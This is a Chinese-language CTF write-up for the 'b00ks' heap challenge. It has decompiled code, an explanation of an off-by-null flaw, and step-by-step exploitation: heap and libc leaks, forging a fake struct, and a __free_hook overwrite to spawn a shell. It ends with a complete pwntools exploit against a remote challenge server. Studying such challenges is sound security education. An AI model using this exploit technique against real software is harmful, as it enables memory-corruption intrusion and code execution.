checksec
1 2 3 4 5 6
| [*] '/home/yyyffff/桌面/b00ks' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
|
IDA
(有些变量名是自己改过的)
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| __int64 __fastcall main(int a1, char **a2, char **a3) { struct _IO_FILE *v3; int v5;
setvbuf(stdout, 0LL, 2, 0LL); v3 = stdin; setvbuf(stdin, 0LL, 1, 0LL); sub_A77(v3); name(v3); while ( 1 ) { v5 = menu(v3); if ( v5 == 6 ) break; switch ( v5 ) { case 1: add(v3); break; case 2: delete(v3); break; case 3: edit(v3); break; case 4: view(v3); break; case 5: name(v3); break; default: v3 = (struct _IO_FILE *)"Wrong option"; puts("Wrong option"); break; } } puts("Thanks to use our library software"); return 0LL; }
|
可以看到是一个菜单的题目
author
1 2 3 4 5 6 7 8
| __int64 author() { printf("Enter author name: "); if ( !(unsigned int)input(off_202018, 32) ) return 0LL; printf("fail to read author_name"); return 1LL; }
|
输入 author 到 off_202018,也就是 unk_202040 里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| __int64 __fastcall sub_9F5(_BYTE *a1, int a2) { int i;
if ( a2 <= 0 ) return 0LL; for ( i = 0; ; ++i ) { if ( (unsigned int)read(0, a1, 1uLL) != 1 ) return 1LL; if ( *a1 == 0xA ) break; ++a1; if ( i == a2 ) break; } *a1 = 0; return 0LL; }
|
a1 是目标地址,a2 是长度
由于循环从 0 到 a2 ,而且 i==a2 判断是在最后->退出循环是 a1 会超过一个字节,*a1=0 就会造成 off-by-null
add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| __int64 add() { int len; int v2; void *book_struct; void *book_name; void *descri;
len = 0; printf("\nEnter book name size: "); __isoc99_scanf("%d", &len); if ( len < 0 ) goto LABEL_2; printf("Enter book name (Max 32 chars): "); book_name = malloc(len); if ( !book_name ) { printf("unable to allocate enough space"); goto LABEL_17; } if ( (unsigned int)input(book_name, len - 1) ) { printf("fail to read name"); goto LABEL_17; } len = 0; printf("\nEnter book description size: "); __isoc99_scanf("%d", &len); if ( len < 0 ) { LABEL_2: printf("Malformed size"); } else { descri = malloc(len); if ( descri ) { printf("Enter book description: "); if ( (unsigned int)input(descri, len - 1) ) { printf("Unable to read description"); } else { v2 = sub_B24(); if ( v2 == -1 ) { printf("Library is full"); } else { book_struct = malloc(0x20uLL); if ( book_struct ) { *((_DWORD *)book_struct + 6) = len; *((_QWORD *)book_list + v2) = book_struct; *((_QWORD *)book_struct + 2) = descri; *((_QWORD *)book_struct + 1) = book_name; *(_DWORD *)book_struct = ++unk_202024; return 0LL; } printf("Unable to allocate book struct"); } } } else { printf("Fail to allocate memory"); } } LABEL_17: if ( book_name ) free(book_name); if ( descri ) free(descri); if ( book_struct ) free(book_struct); return 1LL; }
|
可以看到首先创建 name 块,输入内容(长度-1,没有 off-by-null)
然后创建 des 块,同上
最后 malloc(0x30) 作为一个结构体记录堆块的信息
比如 add(0x10,b’aaaa’,0x10,b’aaa’)
而这个 book_list 在 bss 段的位置是 0x202060,与 name 就差了 0x20,也就是32,name 的长度,所以第一次我们将 name 填满(此时也发生溢出了,不过是先溢出后写入地址,所以无所谓),然后 add,再 view,就可以打印出第一个堆块的地址
delete
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| __int64 delete() { int v1; int i; i = 0; printf("Enter the book id you want to delete: "); __isoc99_scanf("%d", &v1); if ( v1 > 0 ) { for ( i = 0; i <= 19 && (!*((_QWORD *)book_list + i) || **((_DWORD **)book_list + i) != v1); ++i ) ; if ( i != 20 ) { free(*(void **)(*((_QWORD *)book_list + i) + 8LL)); free(*(void **)(*((_QWORD *)book_list + i) + 16LL)); free(*((void **)book_list + i)); *((_QWORD *)book_list + i) = 0LL; return 0LL; } printf("Can't find selected book!"); } else { printf("Wrong id"); } return 1LL; }
|
delete 按照 id 来寻找对应的结构体,然后 free 掉里面两个指针并置 0
for 循环就是遍历整个 book_list 直到找到第一个对应的 id
edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| __int64 edit() { int v1; int i;
printf("Enter the book id you want to edit: "); __isoc99_scanf("%d", &v1); if ( v1 > 0 ) { for ( i = 0; i <= 19 && (!*((_QWORD *)book_list + i) || **((_DWORD **)book_list + i) != v1); ++i ) ; if ( i == 20 ) { printf("Can't find selected book!"); } else { printf("Enter new book description: "); if ( !(unsigned int)input( *(_BYTE **)(*((_QWORD *)book_list + i) + 16LL), *(_DWORD *)(*((_QWORD *)book_list + i) + 24LL) - 1) ) return 0LL; printf("Unable to read new description"); } } else { printf("Wrong id"); } return 1LL; }
|
同样是用 for 循环按 id 寻找到结构体,然后寻找到结构体里面的 des 指针,然后修改该指针里的内容
view
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int view() { __int64 v0; int i;
for ( i = 0; i <= 19; ++i ) { v0 = *((_QWORD *)book_list + i); if ( v0 ) { printf("ID: %d\n", **((unsigned int **)book_list + i)); printf("Name: %s\n", *(const char **)(*((_QWORD *)book_list + i) + 8LL)); printf("Description: %s\n", *(const char **)(*((_QWORD *)book_list + i) + 16LL)); LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018); } } return v0; }
|
遍历循环输出每个 book 的 name,des,以及作者
author
1 2 3 4 5 6 7 8
| __int64 author() { printf("Enter author name: "); if ( !(unsigned int)input(off_202018, 32) ) return 0LL; printf("fail to read author_name"); return 1LL; }
|
一个修改 author 的函数,当我们创建一个 book 在输入 0x20 的 author 即可将第一个 book_list 的第一个指针最后一字节修改为 0x00
漏洞
漏洞就在于我们可以利用 off-by-null 将第一个堆块低字节修改为 00,然后在这个0x00的地址上创建一个 fake_struct ,里面的指针我们都可以自己写,这样就可以对任意地址进行读和写了,最后可以打一个 __free_hook。至于 libc 基址,反正指针都是自己控制了,后面 free 掉再 view 就可以了
详细步骤:
- 输入 author 后创建一个堆块,保证 book1_struct 的低字节改成0x00后的区域是我们可以写入的区域,同时 view 一次,泄露第一个堆块的地址(伪造指针的时候要用)
1 2 3 4 5 6
| r.recvuntil("ame: ") r.sendline(b'A'*(0x1f)+b'B') add(0x90,b'aaaa',0x90,b'bbbb') view() r.recvuntil("AAAB") heap_addr=u64(r.recv(6).ljust(8,b'\x00'))
|
- 然后就是泄露 libc 基地址,将 fake_struct 的 name 指针改成 book2_name ,将其 des 改成 book3_struct(写 free_hook 要用到)id 写成 1,然后 delete(2) ,book2_name 里面就会是 unsortedbin 表头地址,由于 book1的已经被我们控制,此时 view() 就可以打印出 unsortedbin 表头地址,再计算即可得到一系列地址
1 2 3 4 5 6 7 8 9 10 11 12 13
| add(0x80,b'to leak libabse',0x60,b'same') add(0x40,b'/bin/sh\x00',0x40,b'aaaa') print("heap0->",hex(heap_addr))
edit(1,p64(0)*8+p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x1f0+0x10)+p64(0x80)) name(b'A'*32) delete(2) view() r.recvuntil("Name: ") unsortedbin=u64(r.recv(6).ljust(8,b'\x00')) libcbase=unsortedbin-88-0x3c4b20 free_hook=libcbase+libc.sym['__free_hook'] system_addr=libcbase+libc.sym['system']
|
- 然后就是打 __free_hook,由于我们将 fake_struct 的 des 改成了book3_struct,所以用这个指针在 book3_des 指针处写入 __free_hook,然后 edit(3) 就是写在 free_hook 上了,在上面写上 system 然后 delete(3),由于我们在 3 的 name 处写了 /bin/sh,而其又是最先 free 的,所以可以得到 flag
1 2 3 4 5 6 7 8 9
| fake1=p64(3) fake2=p64(heap_addr+0x160) fake3=p64(free_hook) fake4=p64(0x40) edit(1,fake1+fake2+fake3+fake4) edit(3,p64(system_addr)) delete(3)
r.interactive()
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from pwn import * context(arch='amd64',os='linux',log_level='debug')
r=remote("node5.buuoj.cn",27958) elf=ELF('./b00ks') libc=ELF('./libc-2.23.so')
def add(nsize,content1,dsize,content2): r.recvuntil("> ") r.sendline("1") r.recvuntil("name size: ") r.sendline(str(nsize)) r.recvuntil("rs): ") r.sendline(content1) r.recvuntil("size: ") r.sendline(str(dsize)) r.recvuntil("book description: ") r.sendline(content2)
def delete(idx): r.recvuntil("> ") r.sendline("2") r.recvuntil("to delete: ") r.sendline(str(idx))
def edit(idx,content): r.recvuntil("> ") r.sendline("3") r.recvuntil("you want to edit: ") r.sendline(str(idx)) r.recvuntil("new book description: ") r.sendline(content)
def view(): r.recvuntil("> ") r.sendline("4")
def name(content): r.recvuntil("> ") r.sendline("5") r.recvuntil("author name: ") r.sendline(content)
r.recvuntil("ame: ") r.sendline(b'A'*(0x1f)+b'B') add(0x90,b'aaaa',0x90,b'bbbb') view() r.recvuntil("AAAB") heap_addr=u64(r.recv(6).ljust(8,b'\x00'))
add(0x80,b'to leak libabse',0x60,b'same') add(0x40,b'/bin/sh\x00',0x40,b'aaaa') print("heap0->",hex(heap_addr))
edit(1,p64(0)*8+p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x1f0+0x10)+p64(0x80)) name(b'A'*32) delete(2) view() r.recvuntil("Name: ") unsortedbin=u64(r.recv(6).ljust(8,b'\x00')) libcbase=unsortedbin-88-0x3c4b20 free_hook=libcbase+libc.sym['__free_hook'] system_addr=libcbase+libc.sym['system'] fake1=p64(3) fake2=p64(heap_addr+0x160) fake3=p64(free_hook) fake4=p64(0x40) edit(1,fake1+fake2+fake3+fake4) edit(3,p64(system_addr)) delete(3)
r.interactive()
|